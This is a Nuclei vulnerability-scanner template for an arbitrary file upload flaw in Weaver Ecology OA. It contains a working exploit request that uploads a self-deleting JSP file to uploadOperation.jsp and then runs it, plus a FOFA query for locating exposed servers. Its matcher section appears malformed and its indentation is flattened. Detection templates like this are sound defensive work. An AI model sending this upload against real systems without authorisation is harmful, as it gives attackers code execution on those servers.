nuclei-templates/http/vulnerabilities/weaver/ecology/ecology-arbitrary-file-uplo...

46 lines
1.6 KiB
YAML

id: ecology-arbitrary-file-upload
info:
name: Ecology - Arbitrary File Upload
author: ritikchaddha
severity: critical
description: Ecology contains an arbitrary file upload vulnerability. An attacker can upload arbitrary files to the server, which in turn can be used to make the application execute file content as code, As a result, an attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
reference:
- https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cwe-id: CWE-434
metadata:
fofa-query: app="泛微-协同办公OA"
tags: ecology,upload,fileupload,intrusive
http:
- raw:
- |
POST /page/exportImport/uploadOperation.jsp HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFy3iNVBftjP6IOwo
------WebKitFormBoundaryFy3iNVBftjP6IOwo
Content-Disposition: form-data; name="file"; filename="{{randstr}}.jsp"
Content-Type: application/octet-stream
<%out.print(364536*876356);new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
------WebKitFormBoundaryFy3iNVBftjP6IOwo--
- |
GET /page/exportImport/fileTransfer/{{randstr}}.jsp HTTP/1.1
Host: {{Hostname}}
req-condition: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- "status_code_1 == 200"
- "contains(body_2, '319463310816') || status_code_2 == 200"
condition: and
# Enhanced by md on 2022/10/31